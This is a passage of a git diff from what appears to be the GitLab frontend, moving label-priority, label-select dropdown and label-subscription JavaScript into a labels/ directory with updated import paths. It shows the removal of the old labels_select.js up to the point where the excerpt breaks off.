+ }
+
+ const $detachedLabel = $label.detach();
+ this.toggleLabelPriorityBadge($detachedLabel, action);
+
+ const $labelEls = $target.find('li.label-list-item');
+
+ /*
+ * If there is a label element in the target, we'd want to
+ * append the new label just right next to it.
+ */
+ if ($labelEls.length) {
+ $labelEls.last().after($detachedLabel);
+ } else {
+ $detachedLabel.appendTo($target);
+ }
+
+ if ($from.find('li').length) {
+ $from.find('.empty-message').removeClass('hidden');
+ }
+ if ($target.find('> li:not(.empty-message)').length) {
+ $target.find('.empty-message').addClass('hidden');
+ }
+ // Return if we are not persisting state
+ if (!persistState) {
+ return;
+ }
+ if (action === 'remove') {
+ axios.delete(url).catch(rollbackLabelPosition);
+
+ // Restore empty message
+ if (!$from.find('li').length) {
+ $from.find('.empty-message').removeClass('hidden');
+ }
+ } else {
+ this.savePrioritySort($label, action).catch(rollbackLabelPosition);
+ }
+ }
+
+ toggleLabelPriorityBadge($label, action) {
+ if (action === 'remove') {
+ $('.js-priority-badge', $label).remove();
+ } else {
+ $('.label-links', $label).append(this.$badgeItemTemplate.clone().html());
+ }
+ }
+
+ onPrioritySortUpdate() {
+ this.savePrioritySort().catch(() =>
+ createFlash({
+ message: this.errorMessage,
+ }),
+ );
+ }
+
+ savePrioritySort() {
+ return axios.post(this.prioritizedLabels.data('url'), {
+ label_ids: this.getSortedLabelsIds(),
+ });
+ }
+
+ rollbackLabelPosition($label, originalAction) {
+ const action = originalAction === 'remove' ? 'add' : 'remove';
+ this.toggleLabelPriority($label, action, false);
+ createFlash({
+ message: this.errorMessage,
+ });
+ }
+
+ getSortedLabelsIds() {
+ const sortedIds = [];
+ this.prioritizedLabels.find('> li').each(function () {
+ const id = $(this).data('id');
+
+ if (id) {
+ sortedIds.push(id);
+ }
+ });
+ return sortedIds;
+ }
+}
diff --git a/app/assets/javascripts/labels.js b/app/assets/javascripts/labels/labels.js
index cd8cf0d354c..cd8cf0d354c 100644
--- a/app/assets/javascripts/labels.js
+++ b/app/assets/javascripts/labels/labels.js
diff --git a/app/assets/javascripts/labels/labels_select.js b/app/assets/javascripts/labels/labels_select.js
new file mode 100644
index 00000000000..9d8ee165df2
--- /dev/null
+++ b/app/assets/javascripts/labels/labels_select.js
@@ -0,0 +1,515 @@
+/* eslint-disable func-names, no-underscore-dangle, no-new, consistent-return, no-shadow, no-param-reassign, no-lonely-if, no-empty */
+/* global Issuable */
+
+import $ from 'jquery';
+import { difference, isEqual, escape, sortBy, template, union } from 'lodash';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
+import IssuableBulkUpdateActions from '~/issuable/bulk_update_sidebar/issuable_bulk_update_actions';
+import { isScopedLabel } from '~/lib/utils/common_utils';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { sprintf, __ } from '~/locale';
+import CreateLabelDropdown from './create_label_dropdown';
+
+export default class LabelsSelect {
+ constructor(els, options = {}) {
+ const _this = this;
+
+ let $els = $(els);
+
+ if (!els) {
+ $els = $('.js-label-select');
+ }
+
+ $els.each((i, dropdown) => {
+ const $dropdown = $(dropdown);
+ const $dropdownContainer = $dropdown.closest('.labels-filter');
+ const namespacePath = $dropdown.data('namespacePath');
+ const projectPath = $dropdown.data('projectPath');
+ const issueUpdateURL = $dropdown.data('issueUpdate');
+ let selectedLabel = $dropdown.data('selected');
+ if (selectedLabel != null && !$dropdown.hasClass('js-multiselect')) {
+ selectedLabel = selectedLabel.split(',');
+ }
+ const showNo = $dropdown.data('showNo');
+ const showAny = $dropdown.data('showAny');
+ const showMenuAbove = $dropdown.data('showMenuAbove');
+ const defaultLabel = $dropdown.data('defaultLabel') || __('Label');
+ const abilityName = $dropdown.data('abilityName');
+ const $selectbox = $dropdown.closest('.selectbox');
+ const $block = $selectbox.closest('.block');
+ const $form = $dropdown.closest('form, .js-issuable-update');
+ const $sidebarCollapsedValue = $block.find('.sidebar-collapsed-icon span');
+ const $value = $block.find('.value');
+ const $loading = $block.find('.block-loading').addClass('gl-display-none');
+ const fieldName = $dropdown.data('fieldName');
+ let initialSelected = $selectbox
+ .find(`input[name="${$dropdown.data('fieldName')}"]`)
+ .map(function () {
+ return this.value;
+ })
+ .get();
+ const scopedLabels = $dropdown.data('scopedLabels');
+ const { handleClick } = options;
+
+ if ($dropdown.closest('.dropdown').find('.dropdown-new-label').length) {
+ new CreateLabelDropdown(
+ $dropdown.closest('.dropdown').find('.dropdown-new-label'),
+ namespacePath,
+ projectPath,
+ );
+ }
+
+ const saveLabelData = function () {
+ const selected = $dropdown
+ .closest('.selectbox')
+ .find(`input[name='${fieldName}']`)
+ .map(function () {
+ return this.value;
+ })
+ .get();
+
+ if (isEqual(initialSelected, selected)) return;
+ initialSelected = selected;
+
+ const data = {};
+ data[abilityName] = {};
+ data[abilityName].label_ids = selected;
+ if (!selected.length) {
+ data[abilityName].label_ids = [''];
+ }
+ $loading.removeClass('gl-display-none');
+ $dropdown.trigger('loading.gl.dropdown');
+ axios
+ .put(issueUpdateURL, data)
+ .then(({ data }) => {
+ let template;
+ $loading.addClass('gl-display-none');
+ $dropdown.trigger('loaded.gl.dropdown');
+ $selectbox.hide();
+ data.issueUpdateURL = issueUpdateURL;
+ let labelCount = 0;
+ if (data.labels.length && issueUpdateURL) {
+ template = LabelsSelect.getLabelTemplate({
+ labels: sortBy(data.labels, 'title'),
+ issueUpdateURL,
+ enableScopedLabels: scopedLabels,
+ });
+ labelCount = data.labels.length;
+
+ // EE Specific
+ if (IS_EE) {
+ /**
+ * For Scoped labels, the last label selected with the
+ * same key will be applied to the current issuable.
+ *
+ * If these are the labels - priority::1, priority::2; and if
+ * we apply them in the same order, only priority::2 will stick
+ * with the issuable.
+ *
+ * In the current dropdown implementation, we keep track of all
+ * the labels selected via a hidden DOM element. Since a User
+ * can select priority::1 and priority::2 at the same time, the
+ * DOM will have 2 hidden input and the dropdown will show both
+ * the items selected but in reality server only applied
+ * priority::2.
+ *
+ * We find all the labels then find all the labels server accepted
+ * and then remove the excess ones.
+ */
+ const toRemoveIds = Array.from(
+ $form.find(`input[type="hidden"][name="${fieldName}"]`),
+ )
+ .map((el) => el.value)
+ .map(Number);
+
+ data.labels.forEach((label) => {
+ const index = toRemoveIds.indexOf(label.id);
+ toRemoveIds.splice(index, 1);
+ });
+
+ toRemoveIds.forEach((id) => {
+ $form
+ .find(`input[type="hidden"][name="${fieldName}"][value="${id}"]`)
+ .last()
+ .remove();
+ });
+ }
+ } else {
+ template = `<span class="no-value">${__('None')}</span>`;
+ }
+ $value.removeAttr('style').html(template);
+ $sidebarCollapsedValue.text(labelCount);
+
+ $('.has-tooltip', $value).tooltip({
+ container: 'body',
+ });
+ })
+ .catch(() =>
+ createFlash({
+ message: __('Error saving label update.'),
+ }),
+ );
+ };
+ initDeprecatedJQueryDropdown($dropdown, {
+ showMenuAbove,
+ data(term, callback) {
+ const labelUrl = $dropdown.attr('data-labels');
+ axios
+ .get(labelUrl)
+ .then((res) => {
+ let { data } = res;
+ if ($dropdown.hasClass('js-extra-options')) {
+ const extraData = [];
+ if (showNo) {
+ extraData.unshift({
+ id: 0,
+ title: __('No label'),
+ });
+ }
+ if (showAny) {
+ extraData.unshift({
+ isAny: true,
+ title: __('Any label'),
+ });
+ }
+ if (extraData.length) {
+ extraData.push({ type: 'divider' });
+ data = extraData.concat(data);
+ }
+ }
+
+ callback(data);
+ if (showMenuAbove) {
+ $dropdown.data('deprecatedJQueryDropdown').positionMenuAbove();
+ }
+ })
+ .catch(() =>
+ createFlash({
+ message: __('Error fetching labels.'),
+ }),
+ );
+ },
+ renderRow(label) {
+ let colorEl;
+
+ const selectedClass = [];
+ const removesAll = label.id <= 0 || label.id == null;
+
+ if ($dropdown.hasClass('js-filter-bulk-update')) {
+ const indeterminate = $dropdown.data('indeterminate') || [];
+ const marked = $dropdown.data('marked') || [];
+
+ if (indeterminate.indexOf(label.id) !== -1) {
+ selectedClass.push('is-indeterminate');
+ }
+
+ if (marked.indexOf(label.id) !== -1) {
+ // Remove is-indeterminate class if the item will be marked as active
+ const i = selectedClass.indexOf('is-indeterminate');
+ if (i !== -1) {
+ selectedClass.splice(i, 1);
+ }
+ selectedClass.push('is-active');
+ }
+ } else {
+ if (this.id(label)) {
+ const dropdownValue = this.id(label).toString().replace(/'/g, "\\'");
+
+ if (
+ $form.find(
+ `input[type='hidden'][name='${this.fieldName}'][value='${dropdownValue}']`,
+ ).length
+ ) {
+ selectedClass.push('is-active');
+ }
+ }
+
+ if (this.multiSelect && removesAll) {
+ selectedClass.push('dropdown-clear-active');
+ }
+ }
+
+ if (label.color) {
+ colorEl = `<span class='dropdown-label-box' style='background: ${label.color}'></span>`;
+ } else {
+ colorEl = '';
+ }
+
+ const linkEl = document.createElement('a');
+ linkEl.href = '#';
+
+ // We need to identify which items are actually labels
+ if (label.id) {
+ const selectedLayoutClasses = ['d-flex', 'flex-row', 'text-break-word'];
+ selectedClass.push('label-item', ...selectedLayoutClasses);
+ linkEl.dataset.labelId = label.id;
+ }
+
+ linkEl.className = selectedClass.join(' ');
+ linkEl.innerHTML = `${colorEl} ${escape(label.title)}`;
+
+ const listItemEl = document.createElement('li');
+ listItemEl.appendChild(linkEl);
+
+ return listItemEl;
+ },
+ search: {
+ fields: ['title'],
+ },
+ selectable: true,
+ filterable: true,
+ selected: $dropdown.data('selected') || [],
+ toggleLabel(selected, el) {
+ const $dropdownParent = $dropdown.parent();
+ const $dropdownInputField = $dropdownParent.find('.dropdown-input-field');
+ const isSelected = el !== null ? el.hasClass('is-active') : false;
+
+ const title = selected ? selected.title : null;
+ const selectedLabels = this.selected;
+
+ if ($dropdownInputField.length && $dropdownInputField.val().length) {
+ $dropdownParent.find('.dropdown-input-clear').trigger('click');
+ }
+
+ if (selected && selected.id === 0) {
+ this.selected = [];
+ return __('No label');
+ } else if (isSelected) {
+ this.selected.push(title);
+ } else if (!isSelected && title) {
+ const index = this.selected.indexOf(title);
+ this.selected.splice(index, 1);
+ }
+
+ if (selectedLabels.length === 1) {
+ return selectedLabels;
+ } else if (selectedLabels.length) {
+ return sprintf(__('%{firstLabel} +%{labelCount} more'), {
+ firstLabel: selectedLabels[0],
+ labelCount: selectedLabels.length - 1,
+ });
+ }
+ return defaultLabel;
+ },
+ fieldName: $dropdown.data('fieldName'),
+ id(label) {
+ if (label.id <= 0) return label.title;
+
+ if ($dropdown.hasClass('js-issuable-form-dropdown')) {
+ return label.id;
+ }
+
+ if ($dropdown.hasClass('js-filter-submit') && label.isAny == null) {
+ return label.title;
+ }
+ return label.id;
+ },
+ hidden() {
+ const page = $('body').attr('data-page');
+ const isIssueIndex = page === 'projects:issues:index';
+ const isMRIndex = page === 'projects:merge_requests:index';
+ $selectbox.hide();
+ // display:block overrides the hide-collapse rule
+ $value.removeAttr('style');
+
+ if ($dropdown.hasClass('js-issuable-form-dropdown')) {
+ return;
+ }
+
+ if (
+ $('html')
+ .attr('class')
+ .match(/issue-boards-page|epic-boards-page/)
+ ) {
+ return;
+ }
+ if ($dropdown.hasClass('js-multiselect')) {
+ if ($dropdown.hasClass('js-filter-submit') && (isIssueIndex || isMRIndex)) {
+ Issuable.filterResults($dropdown.closest('form'));
+ } else if ($dropdown.hasClass('js-filter-submit')) {
+ $dropdown.closest('form').submit();
+ } else {
+ if (!$dropdown.hasClass('js-filter-bulk-update')) {
+ saveLabelData();
+ $dropdown.data('deprecatedJQueryDropdown').clearMenu();
+ }
+ }
+ }
+ },
+ multiSelect: $dropdown.hasClass('js-multiselect'),
+ vue: false,
+ clicked(clickEvent) {
+ const { e, isMarking } = clickEvent;
+ const label = clickEvent.selectedObj;
+
+ const page = $('body').attr('data-page');
+ const isIssueIndex = page === 'projects:issues:index';
+ const isMRIndex = page === 'projects:merge_requests:index';
+
+ if ($dropdown.parent().find('.is-active:not(.dropdown-clear-active)').length) {
+ $dropdown.parent().find('.dropdown-clear-active').removeClass('is-active');
+ }
+
+ if ($dropdown.hasClass('js-issuable-form-dropdown')) {
+ return;
+ }
+
+ if ($dropdown.hasClass('js-filter-bulk-update')) {
+ _this.enableBulkLabelDropdown();
+ _this.setDropdownData($dropdown, isMarking, label.id);
+ return;
+ }
+
+ if ($dropdown.hasClass('js-filter-submit') && (isIssueIndex || isMRIndex)) {
+ if (!$dropdown.hasClass('js-multiselect')) {
+ selectedLabel = label.title;
+ return Issuable.filterResults($dropdown.closest('form'));
+ }
+ } else if ($dropdown.hasClass('js-filter-submit')) {
+ return $dropdown.closest('form').submit();
+ } else if (handleClick) {
+ e.preventDefault();
+ handleClick(label);
+ } else {
+ if ($dropdown.hasClass('js-multiselect')) {
+ } else {
+ return saveLabelData();
+ }
+ }
+ },
+ preserveContext: true,
+ });
+
+ // Set dropdown data
+ _this.setOriginalDropdownData($dropdownContainer, $dropdown);
+ });
+ this.bindEvents();
+ }
+
+ static getLabelTemplate(tplData) {
+ // We could use ES6 template string here
+ // and properly indent markup for readability
+ // but that also introduces unintended white-space
+ // so best approach is to use traditional way of
+ // concatenation
+ // see: http://2ality.com/2016/05/template-literal-whitespace.html#joining-arrays
+
+ const linkOpenTag =
+ '<a href="<%- issueUpdateURL.slice(0, issueUpdateURL.lastIndexOf("/")) %>?label_name[]=<%- encodeURIComponent(label.title) %>" class="gl-link gl-label-link has-tooltip" <%= linkAttrs %> title="<%= tooltipTitleTemplate({ label, isScopedLabel, enableScopedLabels, escapeStr }) %>">';
+ const labelTemplate = template(
+ [
+ '<span class="gl-label">',
+ linkOpenTag,
+ '<span class="gl-label-text <%= labelTextClass({ label, escapeStr }) %>" style="background-color: <%= escapeStr(label.color) %>;">',
+ '<%- label.title %>',
+ '</span>',
+ '</a>',
+ '</span>',
+ ].join(''),
+ );
+
+ const labelTextClass = ({ label, escapeStr }) => {
+ return escapeStr(
+ label.text_color === '#FFFFFF' ? 'gl-label-text-light' : 'gl-label-text-dark',
+ );
+ };
+
+ const rightLabelTextClass = ({ label, escapeStr }) => {
+ return escapeStr(label.text_color === '#333333' ? labelTextClass({ label, escapeStr }) : '');
+ };
+
+ const scopedLabelTemplate = template(
+ [
+ '<span class="gl-label gl-label-scoped" style="color: <%= escapeStr(label.color) %>; --label-inset-border: inset 0 0 0 2px <%= escapeStr(label.color) %>;">',
+ linkOpenTag,
+ '<span class="gl-label-text <%= labelTextClass({ label, escapeStr }) %>" style="background-color: <%= escapeStr(label.color) %>;">',
+ '<%- label.title.slice(0, label.title.lastIndexOf("::")) %>',
+ '</span>',
+ '<span class="gl-label-text <%= rightLabelTextClass({ label, escapeStr }) %>">',
+ '<%- label.title.slice(label.title.lastIndexOf("::") + 2) %>',
+ '</span>',
+ '</a>',
+ '</span>',
+ ].join(''),
+ );
+
+ const tooltipTitleTemplate = template(
+ [
+ '<% if (isScopedLabel(label) && enableScopedLabels) { %>',
+ "<span class='font-weight-bold scoped-label-tooltip-title'>Scoped label</span>",
+ '<br />',
+ '<%= escapeStr(label.description) %>',
+ '<% } else { %>',
+ '<%= escapeStr(label.description) %>',
+ '<% } %>',
+ ].join(''),
+ );
+
+ const tpl = template(
+ [
+ '<% labels.forEach(function(label){ %>',
+ '<% if (isScopedLabel(label) && enableScopedLabels) { %>',
+ '<%= scopedLabelTemplate({ label, issueUpdateURL, isScopedLabel, enableScopedLabels, labelTextClass, rightLabelTextClass, tooltipTitleTemplate, escapeStr, linkAttrs: \'data-html="true"\' }) %>',
+ '<% } else { %>',
+ '<%= labelTemplate({ label, issueUpdateURL, isScopedLabel, enableScopedLabels, labelTextClass, tooltipTitleTemplate, escapeStr, linkAttrs: "" }) %>',
+ '<% } %>',
+ '<% }); %>',
+ ].join(''),
+ );
+
+ return tpl({
+ ...tplData,
+ labelTemplate,
+ labelTextClass,
+ rightLabelTextClass,
+ scopedLabelTemplate,
+ tooltipTitleTemplate,
+ isScopedLabel,
+ escapeStr: escape,
+ });
+ }
+
+ bindEvents() {
+ return $('body').on(
+ 'change',
+ '.issuable-list input[type="checkbox"]',
+ this.onSelectCheckboxIssue,
+ );
+ }
+ // eslint-disable-next-line class-methods-use-this
+ onSelectCheckboxIssue() {
+ if ($('.issuable-list input[type="checkbox"]:checked').length) {
+ return;
+ }
+ return $('.issues-bulk-update .labels-filter .dropdown-toggle-text').text(__('Label'));
+ }
+ // eslint-disable-next-line class-methods-use-this
+ enableBulkLabelDropdown() {
+ IssuableBulkUpdateActions.willUpdateLabels = true;
+ }
+ // eslint-disable-next-line class-methods-use-this
+ setDropdownData($dropdown, isMarking, labelId) {
+ let userCheckedIds = $dropdown.data('user-checked') || [];
+ let userUncheckedIds = $dropdown.data('user-unchecked') || [];
+
+ if (isMarking) {
+ userCheckedIds = union(userCheckedIds, [labelId]);
+ userUncheckedIds = difference(userUncheckedIds, [labelId]);
+ } else {
+ userUncheckedIds = union(userUncheckedIds, [labelId]);
+ userCheckedIds = difference(userCheckedIds, [labelId]);
+ }
+
+ $dropdown.data('user-checked', userCheckedIds);
+ $dropdown.data('user-unchecked', userUncheckedIds);
+ }
+ // eslint-disable-next-line class-methods-use-this
+ setOriginalDropdownData($container, $dropdown) {
+ const labels = [];
+ $container.find('[name="label_name[]"]').map(function () {
+ return labels.push(this.value);
+ });
+ $dropdown.data('marked', labels);
+ }
+}
diff --git a/app/assets/javascripts/labels/project_label_subscription.js b/app/assets/javascripts/labels/project_label_subscription.js
new file mode 100644
index 00000000000..b2612e9ede0
--- /dev/null
+++ b/app/assets/javascripts/labels/project_label_subscription.js
@@ -0,0 +1,77 @@
+import $ from 'jquery';
+import { fixTitle } from '~/tooltips';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { __ } from '~/locale';
+
+const tooltipTitles = {
+ group: {
+ subscribed: __('Unsubscribe at group level'),
+ unsubscribed: __('Subscribe at group level'),
+ },
+ project: {
+ subscribed: __('Unsubscribe at project level'),
+ unsubscribed: __('Subscribe at project level'),
+ },
+};
+
+export default class ProjectLabelSubscription {
+ constructor(container) {
+ this.$container = $(container);
+ this.$buttons = this.$container.find('.js-subscribe-button');
+
+ this.$buttons.on('click', this.toggleSubscription.bind(this));
+ }
+
+ toggleSubscription(event) {
+ event.preventDefault();
+
+ const $btn = $(event.currentTarget);
+ const url = $btn.attr('data-url');
+ const oldStatus = $btn.attr('data-status');
+
+ $btn.addClass('disabled');
+
+ axios
+ .post(url)
+ .then(() => {
+ let newStatus;
+ let newAction;
+
+ if (oldStatus === 'unsubscribed') {
+ [newStatus, newAction] = ['subscribed', __('Unsubscribe')];
+ } else {
+ [newStatus, newAction] = ['unsubscribed', __('Subscribe')];
+ }
+
+ $btn.removeClass('disabled');
+
+ this.$buttons.attr('data-status', newStatus);
+ this.$buttons.find('> span').text(newAction);
+
+ this.$buttons.map((i, button) => {
+ const $button = $(button);
+ const originalTitle = $button.attr('data-original-title');
+
+ if (originalTitle) {
+ ProjectLabelSubscription.setNewTitle($button, originalTitle, newStatus, newAction);
+ }
+
+ return button;
+ });
+ })
+ .catch(() =>
+ createFlash({
+ message: __('There was an error subscribing to this label.'),
+ }),
+ );
+ }
+
+ static setNewTitle($button, originalTitle, newStatus) {
+ const type = /group/.test(originalTitle) ? 'group' : 'project';
+ const newTitle = tooltipTitles[type][newStatus];
+
+ $button.attr('title', newTitle);
+ fixTitle($button);
+ }
+}
diff --git a/app/assets/javascripts/labels_select.js b/app/assets/javascripts/labels_select.js
deleted file mode 100644
index 68019a35dbb..00000000000
--- a/app/assets/javascripts/labels_select.js
+++ /dev/null
@@ -1,515 +0,0 @@
-/* eslint-disable func-names, no-underscore-dangle, no-new, consistent-return, no-shadow, no-param-reassign, no-lonely-if, no-empty */
-/* global Issuable */
-
-import $ from 'jquery';
-import { difference, isEqual, escape, sortBy, template, union } from 'lodash';
-import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-import IssuableBulkUpdateActions from '~/issuable_bulk_update_sidebar/issuable_bulk_update_actions';
-import { isScopedLabel } from '~/lib/utils/common_utils';
-import CreateLabelDropdown from './create_label';
-import createFlash from './flash';
-import axios from './lib/utils/axios_utils';
-import { sprintf, __ } from './locale';
-
-export default class LabelsSelect {
- constructor(els, options = {}) {
- const _this = this;
-
- let $els = $(els);
-
- if (!els) {
- $els = $('.js-label-select');
- }
-
- $els.each((i, dropdown) => {
- const $dropdown = $(dropdown);
- const $dropdownContainer = $dropdown.closest('.labels-filter');
- const namespacePath = $dropdown.data('namespacePath');
- const projectPath = $dropdown.data('projectPath');
- const issueUpdateURL = $dropdown.data('issueUpdate');
- let selectedLabel = $dropdown.data('selected');
- if (selectedLabel != null && !$dropdown.hasClass('js-multiselect')) {
- selectedLabel = selectedLabel.split(',');
- }
- const showNo = $dropdown.data('showNo');
- const showAny = $dropdown.data('showAny');
- const showMenuAbove = $dropdown.data('showMenuAbove');
- const defaultLabel = $dropdown.data('defaultLabel') || __('Label');
- const abilityName = $dropdown.data('abilityName');
- const $selectbox = $dropdown.closest('.selectbox');
- const $block = $selectbox.closest('.block');
- const $form = $dropdown.closest('form, .js-issuable-update');
- const $sidebarCollapsedValue = $block.find('.sidebar-collapsed-icon span');
- const $value = $block.find('.value');
- const $loading = $block.find('.block-loading').addClass('gl-display-none');
- const fieldName = $dropdown.data('fieldName');
- let initialSelected = $selectbox
- .find(`input[name="${$dropdown.data('fieldName')}"]`)
- .map(function () {
- return this.value;
- })
- .get();
- const scopedLabels = $dropdown.data('scopedLabels');
- const { handleClick } = options;
-
- if ($dropdown.closest('.dropdown').find('.dropdown-new-label').length) {
- new CreateLabelDropdown(
- $dropdown.closest('.dropdown').find('.dropdown-new-label'),
- namespacePath,
- projectPath,
- );
- }
-
- const saveLabelData = function () {
- const selected = $dropdown
- .closest('.selectbox')
- .find(`input[name='${fieldName}']`)
- .map(function () {
- return this.value;
- })
- .get();
-
- if (isEqual(initialSelected, selected)) return;
- initialSelected = selected;
-
- const data = {};
- data[abilityName] = {};
- data[abilityName].label_ids = selected;
- if (!selected.length) {
- data[abilityName].label_ids = [''];
- }
- $loading.removeClass('gl-display-none');
- $dropdown.trigger('loading.gl.dropdown');
- axios
- .put(issueUpdateURL, data)
- .then(({ data }) => {
- let template;
- $loading.addClass('gl-display-none');
- $dropdown.trigger('loaded.gl.dropdown');
- $selectbox.hide();
- data.issueUpdateURL = issueUpdateURL;
- let labelCount = 0;
- if (data.labels.length && issueUpdateURL) {
- template = LabelsSelect.getLabelTemplate({
- labels: sortBy(data.labels, 'title'),
- issueUpdateURL,
- enableScopedLabels: scopedLabels,
- });
- labelCount = data.labels.length;
-
- // EE Specific
- if (IS_EE) {
- /**
- * For Scoped labels, the last label selected with the
- * same key will be applied to the current issueable.
- *
- * If these are the labels - priority::1, priority::2; and if
- * we apply them in the same order, only priority::2 will stick
- * with the issuable.
- *
- * In the current dropdown implementation, we keep track of all
- * the labels selected via a hidden DOM element. Since a User
- * can select priority::1 and priority::2 at the same time, the
- * DOM will have 2 hidden input and the dropdown will show both
- * the items selected but in reality server only applied
- * priority::2.
- *
- * We find all the labels then find all the labels server accepted
- * and then remove the excess ones.
- */
- const toRemoveIds = Array.from(
- $form.find(`input[type="hidden"][name="${fieldName}"]`),
- )
- .map((el) => el.value)
- .map(Number);
-
- data.labels.forEach((label) => {
- const index = toRemoveIds.indexOf(label.id);
- toRemoveIds.splice(index, 1);
- });
-
- toRemoveIds.forEach((id) => {
- $form
- .find(`input[type="hidden"][name="${fieldName}"][value="${id}"]`)
- .last()
- .remove();
- });
- }
- } else {
- template = `<span class="no-value">${__('None')}</span>`;
- }
- $value.removeAttr('style').html(template);
- $sidebarCollapsedValue.text(labelCount);
-
- $('.has-tooltip', $value).tooltip({
- container: 'body',
- });
- })
- .catch(() =>
- createFlash({
- message: __('Error saving label update.'),
- }),
- );
- };
- initDeprecatedJQueryDropdown($dropdown, {
- showMenuAbove,
- data(term, callback) {
- const labelUrl = $dropdown.attr('data-labels');
- axios
- .get(labelUrl)
- .then((res) => {
- let { data } = res;
- if ($dropdown.hasClass('js-extra-options')) {
- const extraData = [];
- if (showNo) {
- extraData.unshift({
- id: 0,
- title: __('No label'),
- });
- }
- if (showAny) {
- extraData.unshift({
- isAny: true,
- title: __('Any label'),
- });
- }
- if (extraData.length) {
- extraData.push({ type: 'divider' });
- data = extraData.concat(data);
- }
- }
-
- callback(data);
- if (showMenuAbove) {
- $dropdown.data('deprecatedJQueryDropdown').positionMenuAbove();
- }
- })
- .catch(() =>
- createFlash({
- message: __('Error fetching labels.'),
- }),
- );
- },
- renderRow(label) {
- let colorEl;
-
- const selectedClass = [];
- const removesAll = label.id <= 0 || label.id == null;
-
- if ($dropdown.hasClass('js-filter-bulk-update')) {
- const indeterminate = $dropdown.data('indeterminate') || [];
- const marked = $dropdown.data('marked') || [];
-
- if (indeterminate.indexOf(label.id) !== -1) {
- selectedClass.push('is-indeterminate');
- }
-
- if (marked.indexOf(label.id) !== -1) {
- // Remove is-indeterminate class if the item will be marked as active
- const i = selectedClass.indexOf('is-indeterminate');
- if (i !== -1) {
- selectedClass.splice(i, 1);
- }
- selectedClass.push('is-active');
- }
- } else {
- if (this.id(label)) {
- const dropdownValue = this.id(label).toString().replace(/'/g, "\\'");
-
- if (
- $form.find(
- `input[type='hidden'][name='${this.fieldName}'][value='${dropdownValue}']`,
- ).length
- ) {
- selectedClass.push('is-active');
- }
- }
-
- if (this.multiSelect && removesAll) {
- selectedClass.push('dropdown-clear-active');
- }
- }
-
- if (label.color) {
- colorEl = `<span class='dropdown-label-box' style='background: ${label.color}'></span>`;
- } else {
- colorEl = '';
- }
-
- const linkEl = document.createElement('a');
- linkEl.href = '#';
-
- // We need to identify which items are actually labels
- if (label.id) {
- const selectedLayoutClasses = ['d-flex', 'flex-row', 'text-break-word'];
- selectedClass.push('label-item', ...selectedLayoutClasses);
- linkEl.dataset.labelId = label.id;
- }
-
- linkEl.className = selectedClass.join(' ');
- linkEl.innerHTML = `${colorEl} ${escape(label.title)}`;
-
- const listItemEl = document.createElement('li');
- listItemEl.appendChild(linkEl);
-
- return listItemEl;
- },
- search: {
- fields: ['title'],
- },
- selectable: true,
- filterable: true,
- selected: $dropdown.data('selected') || [],
- toggleLabel(selected, el) {
- const $dropdownParent = $dropdown.parent();
- const $dropdownInputField = $dropdownParent.find('.dropdown-input-field');
- const isSelected = el !== null ? el.hasClass('is-active') : false;
-
- const title = selected ? selected.title : null;
- const selectedLabels = this.selected;
-
- if ($dropdownInputField.length && $dropdownInputField.val().length) {
- $dropdownParent.find('.dropdown-input-clear').trigger('click');
- }
-
- if (selected && selected.id === 0) {
- this.selected = [];
- return __('No label');
- } else if (isSelected) {
- this.selected.push(title);
- } else if (!isSelected && title) {
- const index = this.selected.indexOf(title);
- this.selected.splice(index, 1);
- }
-
- if (selectedLabels.length === 1) {
- return selectedLabels;
- } else if (selectedLabels.length) {
- return sprintf(__('%{firstLabel} +%{labelCount} more'), {
- firstLabel: selectedLabels[0],
- labelCount: selectedLabels.length - 1,
- });
- }
- return defaultLabel;
- },
- fieldName: $dropdown.data('fieldName'),
- id(label) {
- if (label.id <= 0) return label.title;
-
- if ($dropdown.hasClass('js-issuable-form-dropdown')) {
- return label.id;
- }
-
- if ($dropdown.hasClass('js-filter-submit') && label.isAny == null) {
- return label.title;
- }
- return label.id;
- },
- hidden() {
- const page = $('body').attr('data-page');
- const isIssueIndex = page === 'projects:issues:index';
- const isMRIndex = page === 'projects:merge_requests:index';
- $selectbox.hide();
- // display:block overrides the hide-collapse rule
- $value.removeAttr('style');
-
- if ($dropdown.hasClass('js-issuable-form-dropdown')) {
- return;
- }
-
- if (
- $('html')
- .attr('class')
- .match(/issue-boards-page|epic-boards-page/)
- ) {
- return;
- }
- if ($dropdown.hasClass('js-multiselect')) {
- if ($dropdown.hasClass('js-filter-submit') && (isIssueIndex || isMRIndex)) {
- Issuable.filterResults($dropdown.closest('form'));
- } else if ($dropdown.hasClass('js-filter-submit')) {
- $dropdown.closest('form').submit();
- } else {
- if (!$dropdown.hasClass('js-filter-bulk-update')) {
- saveLabelData();
- $dropdown.data('deprecatedJQueryDropdown').clearMenu();
- }
- }
- }
- },
- multiSelect: $dropdown.hasClass('js-multiselect'),
- vue: false,
- clicked(clickEvent) {
- const { e, isMarking } = clickEvent;
- const label = clickEvent.selectedObj;
-
- const page = $('body').attr('data-page');
- const isIssueIndex = page === 'projects:issues:index';
- const isMRIndex = page === 'projects:merge_requests:index';
-
- if ($dropdown.parent().find('.is-active:not(.dropdown-clear-active)').length) {
- $dropdown.parent().find('.dropdown-clear-active').removeClass('is-active');
- }
-
- if ($dropdown.hasClass('js-issuable-form-dropdown')) {
- return;
- }
-
- if ($dropdown.hasClass('js-filter-bulk-update')) {
- _this.enableBulkLabelDropdown();
- _this.setDropdownData($dropdown, isMarking, label.id);
- return;
- }
-
- if ($dropdown.hasClass('js-filter-submit') && (isIssueIndex || isMRIndex)) {
- if (!$dropdown.hasClass('js-multiselect')) {
- selectedLabel = label.title;
- return Issuable.filterResults($dropdown.closest('form'));
- }
- } else if ($dropdown.hasClass('js-filter-submit')) {
- return $dropdown.closest('form').submit();
- } else if (handleClick) {
- e.preventDefault();
- handleClick(label);
- } else {
- if ($dropdown.hasClass('js-multiselect')) {
- } else {
- return saveLabelData();
- }
- }
- },
- preserveContext: true,
- });
-
- // Set dropdown data
- _this.setOriginalDropdownData($dropdownContainer, $dropdown);
- });
- this.bindEvents();
- }
-
- static getLabelTemplate(tplData) {
- // We could use ES6 template string here
- // and properly indent markup for readability
- // but that also introduces unintended white-space
- // so best approach is to use traditional way of
- // concatenation
- // see: http://2ality.com/2016/05/template-literal-whitespace.html#joining-arrays
-
- const linkOpenTag =
